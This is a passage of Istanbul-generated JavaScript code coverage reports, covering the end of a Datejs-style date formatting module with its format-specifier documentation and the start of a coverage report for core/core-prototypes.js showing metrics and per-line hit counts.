<span class="branch-3 cbranch-no" title="branch not covered" >				case "%U":</span>
<span class="cstat-no" title="statement not covered" >					var d1 = x.clone().set({month: 0, day: 1}).addDays(-1).moveToDayOfWeek(0),</span>
						d2 = x.clone().addDays(1).moveToDayOfWeek(0, -1);
<span class="cstat-no" title="statement not covered" >					return (d2 &lt; d1) ? "00" : p((d2.getOrdinalNumber() - d1.getOrdinalNumber()) / 7 + 1);</span>
&nbsp;
<span class="branch-4 cbranch-no" title="branch not covered" >				case "%W":</span>
<span class="cstat-no" title="statement not covered" >					return p(x.getWeek());</span>
<span class="branch-5 cbranch-no" title="branch not covered" >				case "t":</span>
<span class="cstat-no" title="statement not covered" >					return $D.getDaysInMonth(x.getFullYear(), x.getMonth());</span>
<span class="branch-6 cbranch-no" title="branch not covered" >				case "o":</span>
<span class="branch-7 cbranch-no" title="branch not covered" >				case "%G":</span>
<span class="cstat-no" title="statement not covered" >					return x.setWeek(x.getISOWeek()).toString("yyyy");</span>
<span class="branch-8 cbranch-no" title="branch not covered" >				case "%g":</span>
<span class="cstat-no" title="statement not covered" >					return x._format("%G").slice(-2);</span>
<span class="branch-9 cbranch-no" title="branch not covered" >				case "a":</span>
<span class="branch-10 cbranch-no" title="branch not covered" >				case "%p":</span>
<span class="cstat-no" title="statement not covered" >					return t("tt").toLowerCase();</span>
<span class="branch-11 cbranch-no" title="branch not covered" >				case "A":</span>
<span class="cstat-no" title="statement not covered" >					return t("tt").toUpperCase();</span>
<span class="branch-12 cbranch-no" title="branch not covered" >				case "u":</span>
<span class="cstat-no" title="statement not covered" >					return p(x.getMilliseconds(), 3);</span>
<span class="branch-13 cbranch-no" title="branch not covered" >				case "I":</span>
<span class="cstat-no" title="statement not covered" >					return (x.isDaylightSavingTime()) ? 1 : 0;</span>
<span class="branch-14 cbranch-no" title="branch not covered" >				case "O":</span>
<span class="cstat-no" title="statement not covered" >					return x.getUTCOffset();</span>
<span class="branch-15 cbranch-no" title="branch not covered" >				case "P":</span>
<span class="cstat-no" title="statement not covered" >					y = x.getUTCOffset();</span>
<span class="cstat-no" title="statement not covered" >					return y.substring(0, y.length - 2) + ":" + y.substring(y.length - 2);</span>
<span class="branch-16 cbranch-no" title="branch not covered" >				case "B":</span>
<span class="cstat-no" title="statement not covered" >					var now = new Date();</span>
<span class="cstat-no" title="statement not covered" >					return Math.floor(((now.getHours() * 3600) + (now.getMinutes() * 60) + now.getSeconds() + (now.getTimezoneOffset() + 60) * 60) / 86.4);</span>
				case "c":
					return x.toISOString().replace(/\"/g, "");
<span class="branch-18 cbranch-no" title="branch not covered" >				case "U":</span>
<span class="cstat-no" title="statement not covered" >					return $D.strtotime("now");</span>
<span class="branch-19 cbranch-no" title="branch not covered" >				case "%c":</span>
<span class="cstat-no" title="statement not covered" >					return t("d") + " " + t("t");</span>
<span class="branch-20 cbranch-no" title="branch not covered" >				case "%C":</span>
<span class="cstat-no" title="statement not covered" >					return Math.floor(x.getFullYear() / 100 + 1);</span>
			}
		},
		shouldOverrideDefaults: function (m) {
			switch (m) {
<span class="branch-0 cbranch-no" title="branch not covered" >				case "%e":</span>
<span class="cstat-no" title="statement not covered" >					return true;</span>
				default:
					return false;
			}
		},
		parse: function (m, context) {
			var formatString, c = context || new Date();
			formatString = normalizer.substitutes(m);
			if (formatString) {
				return formatString;
			}
			formatString = normalizer.interpreted(m, c);
&nbsp;
			if (formatString) {
				return formatString;
			} else {
				return m;
			}
		}
	};
&nbsp;
	$D.normalizeFormat = function (format, context) {
		return format.replace(/(%|\\)?.|%%/g, function(t){
				return normalizer.parse(t, context);
		});
	};
	/**
	 * Format a local Unix timestamp according to locale settings
	 * 
	 * Example:
	 * Date.strftime("%m/%d/%y", new Date());		// "04/13/08"
	 * Date.strftime("c", "2008-04-13T17:52:03Z");	// "04/13/08"
	 * 
	 * @param {String}   A format string consisting of one or more format spcifiers [Optional].
	 * @param {Number|String}   The number representing the number of seconds that have elapsed since January 1, 1970 (local time). 
	 * @return {String}  A string representation of the current Date object.
	 */
	$D.strftime = function (format, time) {
		var d = Date.parse(time);
		return d._format(format);
	};
	/**
	 * Parse any textual datetime description into a Unix timestamp. 
	 * A Unix timestamp is the number of seconds that have elapsed since January 1, 1970 (midnight UTC/GMT).
	 * 
	 * Example:
	 * Date.strtotime("04/13/08");				// 1208044800
	 * Date.strtotime("1970-01-01T00:00:00Z");	// 0
	 * 
	 * @param {String}   A format string consisting of one or more format spcifiers [Optional].
	 * @param {Object}   A string or date object.
	 * @return {String}  A string representation of the current Date object.
	 */
	$D.strtotime = function (time) {
		var d = $D.parse(time);
		return Math.round($D.UTC(d.getUTCFullYear(), d.getUTCMonth(), d.getUTCDate(), d.getUTCHours(), d.getUTCMinutes(), d.getUTCSeconds(), d.getUTCMilliseconds()) / 1000);
	};
	/**
	 * Converts the value of the current Date object to its equivalent string representation using a PHP/Unix style of date format specifiers.
	 * Format Specifiers
	 * Format  Description																	Example
	 * ------  ---------------------------------------------------------------------------	-----------------------
	 * %a		abbreviated weekday name according to the current localed					"Mon" through "Sun"
	 * %A		full weekday name according to the current localed							"Sunday" through "Saturday"
	 * %b		abbreviated month name according to the current localed						"Jan" through "Dec"
	 * %B		full month name according to the current locale								"January" through "December"
	 * %c		preferred date and time representation for the current locale				"4/13/2008 12:33 PM"
	 * %C		century number (the year divided by 100 and truncated to an integer)		"00" to "99"
	 * %d		day of the month as a decimal number										"01" to "31"
	 * %D		same as %m/%d/%y															"04/13/08"
	 * %e		day of the month as a decimal number, a single digit is preceded by a space	"1" to "31"
	 * %g		like %G, but without the century											"08"
	 * %G		The 4-digit year corresponding to the ISO week number (see %V).				"2008"
	 *		This has the same format and value as %Y, except that if the ISO week number
	 *		belongs to the previous or next year, that year is used instead.
	 * %h		same as %b																	"Jan" through "Dec"
	 * %H		hour as a decimal number using a 24-hour clock.								"00" to "23"
	 * %I		hour as a decimal number using a 12-hour clock.								"01" to "12"
	 * %j		day of the year as a decimal number.										"001" to "366"
	 * %m		month as a decimal number.													"01" to "12"
	 * %M		minute as a decimal number.													"00" to "59"
	 * %n		newline character		"\n"
	 * %p		either "am" or "pm" according to the given time value, or the				"am" or "pm"
	 *		corresponding strings for the current locale.
	 * %r		time in a.m. and p.m. notation												"8:44 PM"
	 * %R		time in 24 hour notation													"20:44"
	 * %S		second as a decimal number													"00" to "59"
	 * %t		tab character																"\t"
	 * %T		current time, equal to %H:%M:%S												"12:49:11"
	 * %u		weekday as a decimal number ["1", "7"], with "1" representing Monday		"1" to "7"
	 * %U		week number of the current year as a decimal number, starting with the		"0" to ("52" or "53")
	 *		first Sunday as the first day of the first week
	 * %V		The ISO 8601:1988 week number of the current year as a decimal number,		"00" to ("52" or "53")
	 *		range 01 to 53, where week 1 is the first week that has at least 4 days
	 *		in the current year, and with Monday as the first day of the week.
	 *		(Use %G or %g for the year component that corresponds to the week number
	 *		for the specified timestamp.)
	 * %W		week number of the current year as a decimal number, starting with the		"00" to ("52" or "53")
	 *		first Monday as the first day of the first week
	 * %w		day of the week as a decimal, Sunday being "0"								"0" to "6"
	 * %x		preferred date representation for the current locale without the time		"4/13/2008"
	 * %X		preferred time representation for the current locale without the date		"12:53:05"
	 * %y		year as a decimal number without a century									"00" "99"
	 * %Y		year as a decimal number including the century								"2008"
	 * %Z		time zone or name or abbreviation											"UTC", "EST", "PST"
	 * %z		same as %Z 
	 * %%		a literal "%" characters													"%"
	 * d		Day of the month, 2 digits with leading zeros								"01" to "31"
	 * D		A textual representation of a day, three letters							"Mon" through "Sun"
	 * j		Day of the month without leading zeros										"1" to "31"
	 * l		A full textual representation of the day of the week (lowercase "L")		"Sunday" through "Saturday"
	 * N		ISO-8601 numeric representation of the day of the week (added in PHP 5.1.0)	"1" (for Monday) through "7" (for Sunday)
	 * S		English ordinal suffix for the day of the month, 2 characters				"st", "nd", "rd" or "th". Works well with j
	 * w		Numeric representation of the day of the week								"0" (for Sunday) through "6" (for Saturday)
	 * z		The day of the year (starting from "0")										"0" through "365"		
	 * W		ISO-8601 week number of year, weeks starting on Monday						"00" to ("52" or "53")
	 * F		A full textual representation of a month, such as January or March			"January" through "December"
	 * m		Numeric representation of a month, with leading zeros						"01" through "12"
	 * M		A short textual representation of a month, three letters					"Jan" through "Dec"
	 * n		Numeric representation of a month, without leading zeros					"1" through "12"
	 * t		Number of days in the given month											"28" through "31"
	 * L		Whether it's a leap year													"1" if it is a leap year, "0" otherwise
	 * o		ISO-8601 year number. This has the same value as Y, except that if the		"2008"
	 *		ISO week number (W) belongs to the previous or next year, that year 
	 *		is used instead.
	 * Y		A full numeric representation of a year, 4 digits							"2008"
	 * y		A two digit representation of a year										"08"
	 * a		Lowercase Ante meridiem and Post meridiem									"am" or "pm"
	 * A		Uppercase Ante meridiem and Post meridiem									"AM" or "PM"
	 * B		Swatch Internet time														"000" through "999"
	 * g		12-hour format of an hour without leading zeros								"1" through "12"
	 * G		24-hour format of an hour without leading zeros								"0" through "23"
	 * h		12-hour format of an hour with leading zeros								"01" through "12"
	 * H		24-hour format of an hour with leading zeros								"00" through "23"
	 * i		Minutes with leading zeros													"00" to "59"
	 * s		Seconds, with leading zeros													"00" through "59"
	 * u		Milliseconds																"54321"
	 * e		Timezone identifier															"UTC", "EST", "PST"
	 * I		Whether or not the date is in daylight saving time (uppercase i)			"1" if Daylight Saving Time, "0" otherwise
	 * O		Difference to Greenwich time (GMT) in hours									"+0200", "-0600"
	 * P		Difference to Greenwich time (GMT) with colon between hours and minutes		"+02:00", "-06:00"
	 * T		Timezone abbreviation														"UTC", "EST", "PST"
	 * Z		Timezone offset in seconds. The offset for timezones west of UTC is			"-43200" through "50400"
	 *			always negative, and for those east of UTC is always positive.
	 * c		ISO 8601 date																"2004-02-12T15:19:21+00:00"
	 * r		RFC 2822 formatted date														"Thu, 21 Dec 2000 16:01:07 +0200"
	 * U		Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT)					"0"
	 * @param {String}   A format string consisting of one or more format spcifiers [Optional].
	 * @return {String}  A string representation of the current Date object.
	 */
	var formatReplace = function (context) {
		return function (m) {
			var formatString, override = false;
			<span class="missing-if-branch" title="if path not taken" >I</span>if (m.charAt(0) === "\\" || m.substring(0, 2) === "%%") {
<span class="cstat-no" title="statement not covered" >				return m.replace("\\", "").replace("%%", "%");</span>
			}
&nbsp;
			override = normalizer.shouldOverrideDefaults(m);
			formatString = $D.normalizeFormat(m, context);
			<span class="missing-if-branch" title="else path not taken" >E</span>if (formatString) {
				return context.toString(formatString, override);
			}
		};
	};
	$P._format = function (format) {
		var formatter = formatReplace(this);
		if (!format) {
			return this._toString();
		} else {
			return format.replace(/(%|\\)?.|%%/g, formatter);
		}
	};
&nbsp;
	<span class="missing-if-branch" title="else path not taken" >E</span>if (!$P.format) {
		$P.format = $P._format;
	}
}());</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
core-prototypes.js.html000066600000240025152444006550011237 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/core-prototypes.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header high">
    <h1>Code coverage report for <span class="entity">core/core-prototypes.js</span></h1>
    <h2>
        
        Statements: <span class="metric">95.1% <small>(291 / 306)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">83.33% <small>(195 / 234)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">100% <small>(50 / 50)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">96.28% <small>(285 / 296)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; core-prototypes.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4331</span>
<span class="cline-any cline-yes">2871</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4331</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">151</span>
<span class="cline-any cline-yes">151</span>
<span class="cline-any cline-yes">335</span>
<span class="cline-any cline-yes">119</span>
<span class="cline-any cline-yes">119</span>
<span class="cline-any cline-yes">119</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">216</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">151</span>
<span class="cline-any cline-yes">565</span>
<span class="cline-any cline-yes">565</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">565</span>
<span class="cline-any cline-yes">330</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">150</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2100</span>
<span class="cline-any cline-yes">2100</span>
<span class="cline-any cline-yes">2100</span>
<span class="cline-any cline-yes">2100</span>
<span class="cline-any cline-yes">2100</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">25</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">408</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">398</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">155</span>
<span class="cline-any cline-yes">155</span>
<span class="cline-any cline-yes">155</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">70</span>
<span class="cline-any cline-yes">70</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">48</span>
<span class="cline-any cline-yes">46</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">37</span>
<span class="cline-any cline-yes">37</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
